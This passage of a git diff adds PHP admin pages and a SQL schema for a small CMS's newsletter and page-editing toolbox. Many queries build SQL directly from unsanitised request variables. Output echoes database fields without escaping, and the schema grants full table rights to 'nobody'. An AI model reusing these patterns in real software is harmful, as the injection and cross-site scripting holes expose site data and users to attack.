+    for($index=0;$index<db_numrows($result);$index++) {
+        $data = db_fetch_array($result,0,PGSQL_ASSOC);
+        $old_id = $data['id'];
+        $qs = "UPDATE  search_news_block
+               SET             pos = $counter
+               WHERE   id = $old_id";
+    
+        if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+        $counter++;
+    }
+
+    $location = "view_news.phtml?id=$news_id&catid=$catid"; 
+    break;// }}}
+case "Cancel":// {{{
+    $location = "list_news.phtml?catid=$catid"; 
+    break;// }}}
+default:// {{{
+    html_error("incorrect value for Command",1);
+    break;// }}}
+}
+header("Location: $location");
+?>
diff --git a/admin/SearchEng-Newsletter/update_news.phtml b/admin/SearchEng-Newsletter/update_news.phtml
new file mode 100755 (executable)
index 0000000..4ee24bf
--- /dev/null
@@ -0,0 +1,203 @@
+<?php
+require_once "../../setup.phtml";
+if($vol == "") {
+       $vol = 0;
+}
+if($issue == "") {
+       $issue = 0;
+}
+switch($Command) {
+case "Update":// {{{
+               
+    if($image == "none" || $image == "") {
+        $image_name = $oldimage;
+    }
+    else {
+        require_once BASE.'Toolkit/Image/Server.php';
+        $imServer = new Toolkit_Image_Server();
+        if ($oldimage) {
+            $imServer->imageDelete($oldimage);
+        }
+        $image_name = GLM_TOOLBOX::process_image('image');
+    }
+    
+    if($delete == "1") {
+        $image_name = "";
+        require_once BASE.'Toolkit/Image/Server.php';
+        $imServer = new Toolkit_Image_Server();
+        $imServer->imageDelete($_REQUEST['oldimage']);
+    }
+    
+    $dbd = db_connect(CONN2_STR);
+    
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+
+    if($status == "current") {
+        $qs = "UPDATE  search_news 
+               SET             status = 'archived'
+               WHERE   id in (
+                              SELECT   id 
+                              FROM     search_news 
+                              WHERE    catid = $catid
+                              AND              status = 'current'
+                              )";
+
+        if(!db_exec($dbd,$qs)) {
+            html_error(DB_ERROR_MSG,1);
+        }
+    }
+    
+    $qs = "UPDATE      search_news 
+           SET         header          = '$header',
+                    title              = '$title',
+                    image              = '$image_name',
+                    catid              = $catid,
+                    status             = '$status',
+                    vol                = $vol,
+                    issue              = $issue,
+                    description = '$description'
+           WHERE       id                      = $id";
+
+    if(!db_exec($dbd,$qs)) html_error("failed ->".$qs,1);
+    
+    if(isset($Section) && $Section == "Add Section") {
+        $location = "add_block.phtml?catid=$catid&news_id=$id"; 
+    }
+    elseif(isset($section) && $section == "Move") {
+        $location = "update_block?Command=Move&id=$block_id&news_id=$news_id&newpos=$newpos&catid=$catid";
+    }
+    else {     
+        $location = "view_news.phtml?catid=$catid&id=$id"; 
+    }
+    break;// }}}
+case "Insert":// {{{
+    $dbd = db_connect(CONN2_STR);
+    
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+
+    if($image == "none" || $image == "") {
+        $image_name = "";
+    }
+    else { 
+        $image_name = GLM_TOOLBOX::process_image('image');
+    }
+    
+    $qs = "INSERT INTO search_news 
+                (title,header,catid,status,vol,issue,description,image)
+           VALUES 
+                ('$title','$header',$catid,'queued',$vol,$issue,
+                '$description','$image_name')
+    RETURNING id";
+                
+    if(!$res = db_exec($dbd,$qs)) html_error("failed ->".$qs,1);
+
+    $data = db_fetch_array($res,0,PGSQL_ASSOC);
+    $id = $data[id];           
+
+    if(isset($Section) && $Section = "Add Section") {
+        $location = "add_block.phtml?catid=$catid&news_id=$id"; 
+    }
+    else {     
+        $location = "list_news.phtml?catid=$catid"; 
+    }
+
+    break;// }}}
+case "Delete":// {{{
+    $qs = "DELETE 
+           FROM        search_news 
+           WHERE       id = $id";
+    
+    if(!db_auto_exec($qs,CONN2_STR)) html_error("failed ->".$qs,1);
+    
+    $dbd = db_connect(CONN2_STR);
+    
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+
+    $qs = "SELECT      id,image 
+           FROM        search_news_block 
+           WHERE       news_id = $id";
+
+    if(!$res = db_Exec($dbd,$qs)) {
+        html_error(DB_ERROR_MSG,1);
+    }
+    
+    for($i=0;$i<db_numrows($res);$i++) {
+        $data = db_fetch_array($res,$i,PGSQL_ASSOC);
+        if($data[image] != "") {
+            require_once BASE.'Toolkit/Image/Server.php';
+            $imServer = new Toolkit_Image_Server();
+            $imServer->imageDelete($data['image']);
+        }
+    }
+    
+    $qs = "DELETE 
+           FROM        search_news_block
+           WHERE       news_id = $id";
+
+    if(!db_Exec($dbd,$qs)) {
+        html_error(DB_ERROR_MSG,1);
+    }
+    
+    
+    $location = "list_news.phtml?catid=$catid"; 
+    break;// }}}
+case "Cancel":// {{{
+    $location = "list_news.phtml?catid=$catid"; 
+    break;// }}}
+case "Advance":        // {{{
+    $dbd = db_connect(CONN2_STR);
+    
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+
+    $qs = "BEGIN WORK";
+                          
+    if(!db_exec($dbd,$qs)) {
+        html_error(DB_ERROR_MSG.$qs,1);
+    }
+    
+    $qs = "UPDATE      search_news 
+           SET                 status = 'archived'
+           WHERE       catid = $catid
+           AND         id in (
+                          SELECT       id 
+                          FROM         search_news 
+                          WHERE        catid = $catid
+                          AND          status = 'current'
+                          )";
+                          
+    if(!db_exec($dbd,$qs)) {
+        html_error(DB_ERROR_MSG.$qs,1);
+    }
+    
+    $qs = "UPDATE      search_news
+           SET                 status = 'current'
+           WHERE       catid = $catid
+           AND                 vol  = (SELECT  MIN(vol)
+                           FROM        search_news 
+                           WHERE       catid = $catid
+                           AND                 status = 'queued')
+           AND                 issue = (SELECT MIN(issue)
+                            FROM       search_news 
+                            WHERE      catid = $catid
+                            AND                status = 'queued')
+                              ";
+    
+    if(!db_exec($dbd,$qs)) {
+        html_error(DB_ERROR_MSG.$qs,1);
+    }
+    
+    $qs = "COMMIT WORK";
+                          
+    if(!db_exec($dbd,$qs)) {
+        html_error(DB_ERROR_MSG.$qs,1);
+    }
+    
+    $location = "list_news.phtml?catid=$catid";
+
+    break;// }}}
+default:// {{{
+    html_error("incorrect value for Command",1);
+    break;// }}}
+}
+header("Location: $location");
+?>
diff --git a/admin/SearchEng-Newsletter/update_news_category.phtml b/admin/SearchEng-Newsletter/update_news_category.phtml
new file mode 100755 (executable)
index 0000000..031d808
--- /dev/null
@@ -0,0 +1,96 @@
+<?php
+require_once "../../setup.phtml";
+
+if($REQUEST_METHOD == "POST") {
+       switch($Command) {
+       
+       case "Update":
+               
+               if($image != "none" && $image != "") {
+                       $image_name = process_image($image,$image_name);
+               }
+               else {
+                       $image_name = $oldimage;
+               }
+               
+               if($delete == "1") {
+                       $image_name = "";
+                       
+                       @unlink(ORIGINAL_PATH."/".$oldimage);
+                       @unlink(RESIZED_PATH.$oldimage);
+                       @unlink(THUMB_PATH.$oldimage);
+                       @unlink(MIDSIZED_PATH.$oldimage);
+               }
+               
+               $qs = "UPDATE   search_news_category 
+                          SET
+                                       header = '$header'
+                          WHERE 
+                                       id = $id";
+               
+               if(!db_auto_exec($qs,CONN2_STR)) html_error("failed ->".$qs,1);
+               
+               $location = "list_news_category.phtml"; 
+       
+       break;
+       
+       case "Insert":
+               
+               if($image != "none" && $image != "") {
+                       $image_name = process_image($image,$image_name);
+               }
+               else { 
+                       $image_name = $oldimage;
+               }
+               
+               $qs = "INSERT INTO search_news_category 
+                                       (header)
+                          VALUES 
+                                       ('$header')";
+                                       
+               if(!db_auto_exec($qs,CONN2_STR)) html_error("failed ->".$qs,1);
+               
+               $location = "list_news_category.phtml"; 
+       
+       break;
+       
+       case "Delete":
+               
+               $dbd = db_connect(CONN2_STR);
+               
+               if(!$dbd) html_erro(DB_ERROR_MSG,1);
+               
+               $qs = "SELECT   id 
+                          FROM         search_news 
+                          WHERE        catid = $id";
+               
+               $res = db_exec($dbd,$qs);
+
+               if(db_numrows($res) >0) {
+                       html_error("Sorry but you have items in there\n 
+                                               Delete these record before the Categories\n",1); 
+               }
+               
+               $qs2 = "DELETE 
+                               FROM            search_news_category 
+                           WHERE               id = $id";
+               
+               if(!db_auto_exec($qs2,CONN2_STR)) html_error(DB_ERROR_MSG.$qs2,1);
+               
+               
+               $location = "list_news_category.phtml"; 
+       
+       break;
+       
+       case "Cancel":
+               $location = "list_news_category.phtml"; 
+       break;
+       
+       default:
+               html_error("incorrect value for Command",1);
+       break;
+       }
+       
+header("Location: $location");
+}
+?>
diff --git a/admin/SearchEng-Newsletter/view_news.phtml b/admin/SearchEng-Newsletter/view_news.phtml
new file mode 100755 (executable)
index 0000000..a5f9d7b
--- /dev/null
@@ -0,0 +1,139 @@
+<?
+require_once "../../setup.phtml";
+require_once "news-setup.php";
+
+$sql = "
+SELECT header 
+  FROM search_news_category
+ WHERE id = :id";
+try {
+    $stmt = $db2h->prepare($sql);
+    $stmt->bindParam(":id", $_REQUEST['catid'], PDO::PARAM_INT);
+    $stmt->execute();
+    $header = $stmt->fetchColumn();
+} catch(PDOException $e) {
+    die($e->getMessage());
+}
+top("$header (Edit/Delete) [Search Engine]", HELP_BASE."item.phtml?key=view");
+
+$lnav = array(
+"List Items"   => "list_news.phtml?catid=$catid",
+"Add Section"  => "add_block.phtml?catid=$catid&news_id=$id",
+"Edit"                 => "edit_news.phtml?catid=$catid&id=$id",
+"Delete This Item"     => array ( 
+       "update_news.phtml?Command=Delete&id=$id&catid=$catid",
+       "onClick=\"
+       if(confirm('You are Deleting this item and all sections Are you sure?')) {
+               return(true);
+       }
+       else {
+               return(false);
+       }\"")
+               );
+html_nav_table($lnav, 4);
+
+if(!$dbd = db_connect(CONN2_STR)) html_error(DB_ERROR_MSG, 1);
+
+$qs =  "SET DATESTYLE TO 'SQL, NONEUROPEAN'";
+
+if(!db_exec($dbd, $qs))
+       html_error(DB_ERROR_MSG.$qs, 1);
+
+$qs = "SELECT   id,title,catid,pr_date,status,description,image         
+          FROM         search_news 
+          WHERE        id = $id";
+               
+if(!$res = db_exec($dbd, $qs)) html_error(DB_ERROR_MSG.$qs,1);
+
+       
+
+?>
+
+<form enctype="multipart/form-data" action="add_block.phtml" method="POST">
+<?     
+echo '<table id="admin-list-table">';
+for($i = 0; $i < db_numrows($res); $i++) {     
+       $row = db_fetch_array($res,$i, PGSQL_ASSOC);
+       
+       if(!$row[id])
+               html_error(DB_ERROR_MSG,1);
+       ?>
+       <tr><td>
+       <center><b><? echo $row['title']?></b></center><br>
+       <?if($row['image'] != "") { ?>
+       <img src="<?echo MIDSIZED.$row['image']?>" align=left"></td><td>
+       <?}?>
+       <? echo nl2br($row['description'])?>
+       </td></tr>
+       <?
+       
+}
+$qs = "SELECT  id,header,description,image,pos
+          FROM         search_news_block
+          WHERE        news_id = $id
+          ORDER BY pos";
+
+if(!$sect_res = db_Exec($dbd,$qs)) {
+       html_error(DB_ERROR_MSG.$qs,1);
+}
+for($i=0;$i<db_numrows($sect_res);$i++) {
+       $data = db_fetch_array($sect_res,$i,PGSQL_ASSOC);
+       echo "<tr><td colspan=2>
+                 <hr noshade>
+                 </td></tr>";
+       $num = $i + 1;
+       
+       $qs = "SELECT   MAX(pos) AS maxpos 
+                  FROM         search_news_block 
+                  WHERE        news_id = $id;";
+
+       if(!$maxResult = db_Exec($dbd, $qs)) {
+               html_error(DB_ERROR_MSG.$qs,1);
+       }
+       $max_data = db_fetch_array($maxResult,0,PGSQL_ASSOC);
+       $maxpos = pg_result($maxResult,0,'maxpos');
+
+       echo "<tr><td colspan=2><select name=\"pos\" 
+               onChange=\"location.href=this[this.selectedIndex].value;\""; 
+       echo "size=\"1\">";
+       for( $newspos=1 ; $newspos<=$maxpos ; $newspos++ ) {
+$string = "Command=Move&id=$data[id]&news_id=$id&newpos=$newspos&catid=$catid";
+               echo "<option 
+               value=\"update_block.phtml?".$string."\"";
+               if($newspos == $data[pos]) {
+                       echo " SELECTED";
+               }
+               echo ">$newspos\n";
+       }
+       echo "</select></td></tr>";
+       echo "<tr><td colspan=2>
+                 <a href=\"edit_block.phtml?id=$data[id]&news_id=$id&catid=$catid\">[Edit/Delete]</a>
+                 <b>Section $num</b><br>";
+       echo "<b>$data[header]</b></td></tr>
+                 <tr><td colspan=2>";
+       if($data[image] != "") {
+               if($i%2 == 0) {
+               ?>
+                       <img src="<?echo MIDSIZED.$data[image]?>" align="right">        
+               <?
+               }
+               else {
+               ?>
+                       <img src="<?echo MIDSIZED.$data[image]?>" align="left"> 
+               <?
+               }
+       }
+       echo nl2br($data[description]);
+       echo "</td></tr>";
+}
+?>
+<tr><td></td><td NOWRAP>
+<input type="hidden" name="catid" value="<?echo $catid?>">
+<input type="hidden" name="news_id" value="<?echo $id?>">
+<input type="hidden" name="Command" value="Update">
+</td></tr>
+</table>
+</form>
+<?
+footer();
+?>
diff --git a/admin/Toolbox/business.sql b/admin/Toolbox/business.sql
new file mode 100644 (file)
index 0000000..5c1cf3b
--- /dev/null
@@ -0,0 +1,85 @@
+CREATE TABLE bus (
+    id serial NOT NULL,
+    name text,
+    description text,
+    image text,
+    imagename text,
+    back_to_top bool
+);
+
+CREATE TABLE bus_category (
+    id serial NOT NULL,
+    parent integer,
+    category text,
+    intro text,
+    description text,
+    image text,
+    imagename text,
+    active boolean,
+    pos integer,
+    keyword text,
+       "template" integer,
+       no_search_form bool,
+       featured bool,
+       feature_intro text,
+    section_links bool,
+    title text,
+    meta_descr text,
+    short_url text,
+    region integer
+);
+
+CREATE TABLE bus_category_bus (
+    id serial NOT NULL,
+    busid integer,
+    catid integer,
+    pos integer
+);
+
+CREATE UNIQUE INDEX bus_id_indx ON bus USING btree (id);
+CREATE UNIQUE INDEX bus_category_id_indx ON bus_category USING btree (id);
+CREATE INDEX bus_category_parent_indx ON bus_category USING btree (parent);
+CREATE INDEX bus_category_pos_indx ON bus_category USING btree (pos);
+CREATE INDEX bus_category_keyword_indx ON bus_category USING btree (keyword);
+CREATE INDEX bus_category_template_indx ON bus_category USING btree ("template");
+CREATE UNIQUE INDEX bus_category_bus_id_indx ON bus_category_bus USING btree (id);
+CREATE INDEX bus_category_bus_busid_indx ON bus_category_bus USING btree (busid);
+CREATE INDEX bus_category_bus_catid_indx ON bus_category_bus USING btree (catid);
+ALTER TABLE ONLY bus_category
+    ADD CONSTRAINT bus_category_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY bus
+    ADD CONSTRAINT bus_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY bus_category_bus
+    ADD CONSTRAINT bus_category_bus_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY bus_category_bus ADD CONSTRAINT "$1" FOREIGN KEY (catid) REFERENCES bus_category(id) ON DELETE CASCADE;
+ALTER TABLE ONLY bus_category_bus ADD CONSTRAINT "$2" FOREIGN KEY (busid) REFERENCES bus(id) ON DELETE CASCADE;
+GRANT ALL on "bus" to "nobody";
+GRANT ALL on "bus" to "postgres";
+GRANT ALL on "bus_id_seq" to "nobody";
+GRANT ALL on "bus_id_seq" to "postgres";
+GRANT ALL on "bus_category" to "nobody";
+GRANT ALL on "bus_category" to "postgres";
+GRANT ALL on "bus_category_id_seq" to "nobody";
+GRANT ALL on "bus_category_id_seq" to "postgres";
+GRANT ALL on "bus_category_bus" to "nobody";
+GRANT ALL on "bus_category_bus" to "postgres";
+GRANT ALL on "bus_category_bus_id_seq" to "nobody";
+GRANT ALL on "bus_category_bus_id_seq" to "postgres";
+
+INSERT INTO bus_category (id,category,parent,pos,active) VALUES (nextval('bus_category_id_seq'),'Home',0,1,'t');
+
+CREATE TABLE files (
+    id serial NOT NULL,
+    filename text,
+    bytes integer,
+    "type" text,
+    urltext text,
+       bus_id integer,
+       pos integer default 1
+);
+GRANT ALL ON TABLE files TO nobody;
+GRANT ALL ON TABLE files_id_seq TO nobody;
+ALTER TABLE ONLY files
+    ADD CONSTRAINT files_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY files
+    ADD CONSTRAINT "$1" FOREIGN KEY (bus_id) REFERENCES bus(id) ON DELETE CASCADE;
diff --git a/admin/Toolbox/cktoolbox.js b/admin/Toolbox/cktoolbox.js
new file mode 100755 (executable)
index 0000000..03fc1d3
--- /dev/null
@@ -0,0 +1,47 @@
+var CkToolbox =
+{
+    init: function()
+    {
+        if ($('#description').is('textarea')) {
+            //  Only try to replace the textarea if the
+            //  CKEditor is compatible w/ the browser.
+            if (CKEDITOR.env.isCompatible) {
+                CKEDITOR.replace('description',
+                    {
+                        toolbar : 'Default',
+                        width : 670,
+                        height : 400,
+                        filebrowserImageBrowseUrl : '../../Toolkit/CKImages/browser.php?folder=1',
+                        filebrowserImageUploadUrl : '../../Toolkit/CKImages/connector.php?command=Upload',
+                                               filebrowserImageWindowWidth : '760',
+                                               filebrowserImageWindowHeight : '500'
+                    });
+            }
+        }
+        if ($('#glm_toolbox_mods').is('select')) {
+            $('#glm_toolbox_mods').change(function(){
+                if ($(this).val() == '') {
+                    $('#mod_coupons').hide();
+                    $('#mod_photos').hide();
+                    $('#mod_events').hide();
+                }
+                if ($(this).val() == 'coupons') {
+                    $('#mod_coupons').show();
+                    $('#mod_photos').hide();
+                    $('#mod_events').hide();
+                }
+                if ($(this).val() == 'events') {
+                    $('#mod_coupons').hide();
+                    $('#mod_photos').hide();
+                    $('#mod_events').show();
+                }
+                if ($(this).val() == 'photos') {
+                    $('#mod_coupons').hide();
+                    $('#mod_photos').show();
+                    $('#mod_events').hide();
+                }
+            });
+        }
+    }
+};
+$(document).ready(CkToolbox.init);
diff --git a/admin/Toolbox/collapse.png b/admin/Toolbox/collapse.png
new file mode 100755 (executable)
index 0000000..d10e051
Binary files /dev/null and b/admin/Toolbox/collapse.png differ
diff --git a/admin/Toolbox/convert_files.php b/admin/Toolbox/convert_files.php
new file mode 100644 (file)
index 0000000..2c0dfcd
--- /dev/null
@@ -0,0 +1,57 @@
+<?php
+       //exit();
+include '../../setup.phtml';
+include BASE . 'classes/class_db.inc';
+for ($i = 1; $i <= 3; $i++) {
+       $query = "select id,file";
+       if ($i > 1) {
+               $query .= $i;
+       }
+       $query .= ",file";
+       if ($i > 1) {
+               $query .= $i;
+       }
+       $query .= "name from bus where file";
+       if ($i > 1) {
+               $query .= $i;
+       }
+       $query .= " != '' order by id;";
+       echo '<p>Query is :'.$query.'</p>';
+    try {
+        //$data = $dbh->query($query)->fetchAll(PDO::FETCH_ASSOC);
+        $res = $dbh->query($query);
+        while ($row = $res->fetch()) {
+            $data[] = $row;
+        }
+    } catch(PDOException $e) {
+        die($e->getMessage());
+    }
+}
+echo '<pre>'.print_r($data, true).'</pre>';
+$dbh->beginTransaction();
+$sql = "
+INSERT INTO files 
+(filename,bytes,urltext,bus_id) 
+VALUES 
+(:filename,:bytes,:urltext,:bus_id)";
+$stmt = $dbh->prepare($sql);
+if (is_array($data)) {
+       foreach ($data as $row) {
+               $id = $row['0'];
+               $filename = $row['1'];
+               $urltext = $row['2'];
+               $iFile = stat(UP_BASE . $filename);
+       //      echo '<p>File: '.UP_BASE.$filename.'</p>';
+        try {
+            $stmt->bindParam(":filename", $filename, PDO::PARAM_STR);
+            $stmt->bindParam(":bytes", $iFile['size'], PDO::PARAM_STR);
+            $stmt->bindParam(":urltext", $urltext, PDO::PARAM_STR);
+            $stmt->bindParam(":bus_id", $id, PDO::PARAM_INT);
+            $stmt->execute();
+        } catch(PDOException $e) {
+            die($e->getMessage());
+        }
+       }
+}
+$dbh->commit();
+?>
diff --git a/admin/Toolbox/edit_bus.phtml b/admin/Toolbox/edit_bus.phtml
new file mode 100755 (executable)
index 0000000..648fd4b
--- /dev/null
@@ -0,0 +1,294 @@
+<?php
+include_once "../../setup.phtml";
+include_once "toolbox_setup.inc";
+if(isset($id)) {
+    $qs =  "SELECT    b.*
+    FROM    bus b,bus_category_bus bcb,bus_category bc
+    WHERE     b.id = $id
+    AND     bcb.busid = $id
+    AND     bcb.busid = b.id
+    AND     bcb.catid = bc.id";
+
+    if(!$res = $DB->db_exec($qs)) {
+        GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,1);
+    }
+    $row = $DB->db_fetch_array($res,0, PGSQL_ASSOC);
+    if(!$row[id]) {
+        GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,1);
+    }
+} else {
+    $row = array (
+        "name" => "",
+        "catid" => $catid,
+        "address" => "",
+        "city" => "",
+        "state" => "",
+        "zip" => "",
+        "phone" => "",
+        "fax" => "",
+        "email" => "",
+        "url" => "",
+        "description" => "",
+        "image" => "",
+    );
+}
+
+GLM_TOOLBOX::top2("Updatable Paragraphs (Add/Edit)", HELP_BASE."bus.phtml?key=edit","ToolboxUserGuide_2.0");
+
+$toolbox_nav["Add New Paragraph"] = "edit_bus.phtml?catid=$catid";
+unset($toolbox_nav["Add A New Page"]);
+GLM_TOOLBOX::html_nav_table($toolbox_nav, 6);
+
+$qs = "SELECT     id,category
+FROM     bus_category
+ORDER BY parent,pos";
+
+if(!$altcats = $DB->db_exec($qs))
+GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,0);
+
+?>
+<script>
+    function mySubmit() {
+        var check = 0;
+        for( i = 0; i < <?echo pg_numrows($altcats);?>;i++ )    {
+            if( document.myform.catid.options[i].selected ) {
+                check = 1;
+                document.myform.category.value += ':' + document.myform.catid.options[i].value;
+            }
+        }
+        if( check == 0 ) {
+                alert('Must select one Page from the list!');
+            return(false);
+        }
+    }
+</script>
+<?php
+echo '<script type="text/javascript" src="'.GLM_APP_BASE_URL.'ckeditor/current/ckeditor.js"></script>';
+if(defined("MULTIPLE_CAT") && MULTIPLE_CAT) {
+    echo     '<form name="myform" action="update_bus.phtml?SID" method="POST" enctype="multipart/form-data" onSubmit="return(mySubmit(this));">';
+} else {
+    echo '
+    <script type="text/javascript">
+var mpos = 0;
+function getElementsByAttribute(attribute, attributeValue) {
+  var elementArray = new Array();
+  var matchedArray = new Array();
+
+  if (document.all) {
+    elementArray = document.all;
+  } else {
+    elementArray = document.getElementsByTagName("*");
+  }
+
+  for (var i = 0; i < elementArray.length; i++) {
+    if (attribute == "class") {
+      var pattern = new RegExp("(^| )" + attributeValue + "( |$)");
+
+      if (pattern.test(elementArray[i].className)) {
+        matchedArray[matchedArray.length] = elementArray[i];
+      }
+    } else if (attribute == "for") {
+      if (elementArray[i].getAttribute("htmlFor") || elementArray[i].getAttribute("for")) {
+        if (elementArray[i].htmlFor == attributeValue) {
+          matchedArray[matchedArray.length] = elementArray[i];
+        }
+      }
+    } else if (elementArray[i].getAttribute(attribute) == attributeValue) {
+      matchedArray[matchedArray.length] = elementArray[i];
+    }
+  }
+
+  return matchedArray;
+}
+function toSubmit() {
+    document.forms["myform"].submit();
+}
+</script>
+    <form name="myform" action="update_bus.phtml?SID" method="POST" enctype="multipart/form-data">';
+}
+echo '<table id="admin-edit-table">';
+
+echo "<tr><th colspan=2>Pages:</th></tr>";
+if(isset($id) && $id != "") {
+        $qs = "SELECT     bc.id as catid, bcb.id as id,bc.category,bcb.pos
+        FROM     bus_category bc,bus_category_bus bcb,bus b
+        WHERE    bcb.busid = $id
+        AND         bcb.catid = bc.id
+        AND         b.id = bcb.busid
+        ORDER BY bc.category";
+
+        if(!$altres = $DB->db_exec($qs)) {
+            GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,0);
+        }
+
+        for($rel=0;$rel<$DB->db_numrows($altres);$rel++) {
+            $altrow = $DB->db_fetch_array($altres,$rel,PGSQL_ASSOC);
+            if( is_array( $oldalt ) ){
+                $oldalt[$rel] = array_merge_recursive($altrow,$oldalt);
+            } else {
+                 $oldalt[$rel] = $altrow;
+            }
+        }
+    }
+    ?>
+    <tr><td class="navtd" align="right">Page:</td>
+        <td>
+            <?php echo parent_select($catid,NULL,"catid[]");?>
+            <?php $oldcatid = "";
+            for($i=0;$i<$DB->db_numrows($altcats);$i++) {
+                 $altrow = $DB->db_fetch_array($altcats,$i,PGSQL_ASSOC);
+                 for($a=0;$a<count($oldalt);$a++) {
+                    if(is_array($oldalt) && ($oldalt[$a]['catid'] == $altrow['id'])) {
+                                 $oldcatid .= ":".$altrow['id'];
+                    }
+                 }
+             }
+
+     ?>
+        <?php if(defined("MULTIPLE_CAT") && MULTIPLE_CAT){?>
+        <input type="hidden" name="category" value="">
+        <?php }?>
+        <input type="hidden" name="oldcatid" value="<?echo $catid?>">
+</td></tr>
+<?php
+echo "<tr><td colspan=2><hr noshade></td></tr>";
+
+foreach($fields as $key=>$value) {
+    if($value['type'] == "text") {
+    ?>
+    <tr><td class="navtd" align="right"><?php echo $value['title']?></td>
+        <td><input name="<?php echo $value['name']?>" id="<?php echo $value['name']?>"
+            value="<?php echo htmlspecialchars($row[$value['name']])?>" size=40></td>
+    </tr>
+    <?php
+    } elseif($value['type'] == "seperator") {
+        echo '<tr><td colspan="2"><hr noshade></td></tr>';
+        echo '<tr><td colspan="2" align="center"><b>'.$value["name"].'</b></td></tr>';
+    } elseif($value['type'] == "img") {
+        ?>
+        <tr></tr>
+        <?php
+        echo "<input type=\"hidden\" name=\"old".$value['name']."\"
+        value=\"".$row[$value['name']]."\">";
+        if($row[$value['name']] != "") {
+            echo "<tr><td class=\"navtd2\" align=\"right\">Current Image:</td>";
+                echo "<td><img src=\"".MIDSIZED.$row[$value['name']]."\">
+                </td>
+            </tr>
+            <tr>
+                <td class=\"navtd2\" align=\"right\">Delete this image:</td>
+                <td>
+                    <input type=\"radio\" name=\"delete".$value['name']."\" value=\"1\">Yes
+                    <input type=\"radio\" name=\"delete".$value['name']."\" value=\"2\" CHECKED>No
+                </td>
+            </tr>";
+        }
+        echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+        echo "<td><input type=\"file\" name=\"".$value['name']."\"></td>";
+        echo "</tr>";
+    } elseif ($value['type'] == "file") {
+        ?>
+        <tr></tr>
+        <?
+        echo "<input type=\"hidden\" name=\"old".$value['name']."\"
+        value=\"".$row[$value['name']]."\">";
+        if($row[$value['name']] != "") {
+            echo "<tr><td class=\"navtd2\" align=\"right\">Current File:</td>";
+                echo "<td>".$row[$value['name']]."
+                </td>
+            </tr>
+            <tr>
+                <td class=\"navtd2\" align=\"right\">Delete this File:</td>
+                <td>
+                    <input type=\"radio\" name=\"delete".$value['name']."\" value=\"1\">Yes
+                    <input type=\"radio\" name=\"delete".$value['name']."\" value=\"2\" CHECKED>No
+                </td>
+            </tr>";
+        }
+        echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+            echo "<td><input type=\"file\" name=\"".$value['name']."\"></td>";
+            echo "</tr>";
+    }
+    if($value['type'] == "desc") {
+        echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td>";
+        echo '<td><textarea name="description" id="description" cols="60" rows="60">'.$row[$value['name']].'</textarea></td>';
+            echo "</tr>";
+    } elseif($value['type'] == "hide") {
+        echo "<input type=\"hidden\" name=\"".$value['title']."\"
+        value=\"".$row[$value['name']]."\">";
+    } elseif($value['type'] == "bool") {
+        echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td><td>";
+                echo '<label><input type="checkbox" name="'.$value['name'].'" value="t"'.($row[$value['name']]=='t'?' checked':'');
+                echo '>Yes</label>';
+                echo "</tr>";
+    }
+}
+echo '<script type="text/javascript" src="./cktoolbox.js"></script>';
+echo '<tr>
+    <th colspan="2">File Uploads</th>
+    </tr>
+    ';
+if( is_numeric( $id ) ) {
+    echo '
+        <tr>
+            <td>Current Files:
+                <div style="width:100px;float:left;clear:both;background-color:#fff;border:solid 1px #000;">
+                To reposition the files use the drop down numbers to reposition them.
+                this updates the position of the files but any changes in filenames or updated files are not saved.
+                Make sure to reposition before making any other changes to files.
+                </div>
+            </td>
+          <td>
+              <div id="file-uploads-data">
+                </div>
+              <div id="file-uploads">
+    ';
+echo '
+    </div>
+        </td>
+        </tr>
+    ';
+}
+echo '
+
+    <tr>
+       <td class="navtd" align="right">New File Upload:</td>
+      <td><input type="file" name="file"></td>
+    </tr>
+    <tr>
+       <td class="navtd" align="right">Name for link:</td>
+      <td><input name="filename"></td>
+    </tr>
+    ';
+echo '<input type="hidden" name="base_parent" value="'.$base_parent.'">';
+if(isset($id)) {
+    ?>
+    <tr><td colspan=2 align=center>
+        <input type="submit" name="Command" value="Update">
+        <input type="submit" name="Command" value="Cancel">
+        <input type="submit" name="Command" value="Delete" onClick="
+        if(confirm('This will delete this Listing!\n Are you sure?'))
+        return(true);
+        else
+        return(false);
+        ">
+    </td>
+    <?php
+} else {
+    GLM_TOOLBOX::form_footer("Insert","",2);
+}
+echo '</tr>
+</table>
+</form>
+
+';
+if( $id ) {
+    echo '<script type="text/javascript" src="jake-handler.js"></script>
+    <script type="text/javascript">
+    get_files('.$id.');
+    </script>
+    ';
+}
+
+GLM_TOOLBOX::footer();
+?>
diff --git a/admin/Toolbox/edit_bus_category.phtml b/admin/Toolbox/edit_bus_category.phtml
new file mode 100755 (executable)
index 0000000..422312e
--- /dev/null
@@ -0,0 +1,364 @@
+<?php
+include_once "../../setup.phtml";
+include_once "toolbox_setup.inc";
+GLM_TOOLBOX::top2("Page (Add/Edit)", HELP_BASE."buscat.phtml?key=edit","ToolboxUserGuide_2.0");
+GLM_TOOLBOX::html_nav_table($toolbox_nav, 6);
+// select parts used for putting fields together
+if (defined("TOOLBOX_REGIONS") && TOOLBOX_REGIONS) {
+    $select_part[] = "region";
+}
+if (defined("SHORT_URLS") && SHORT_URLS) {
+    // DO NOT use short_url for HOME_ID page
+    if (!$_REQUEST['id'] || ($_REQUEST['id'] && $_REQUEST['id'] != HOME_ID)) {
+        $select_part[] = "short_url";
+    }
+}
+if (defined("MEMBERS_DB") && MEMBERS_DB) {
+    $select_part[] = "no_search_form";
+}
+if (defined("HOME_HEADLINES") && HOME_HEADLINES) {
+    $select_part[] = "featured";
+    $select_part[] = "feature_intro";
+}
+$select_part[] = "category";
+$select_part[] = "intro";
+$select_part[] = "parent";
+$select_part[] = "description";
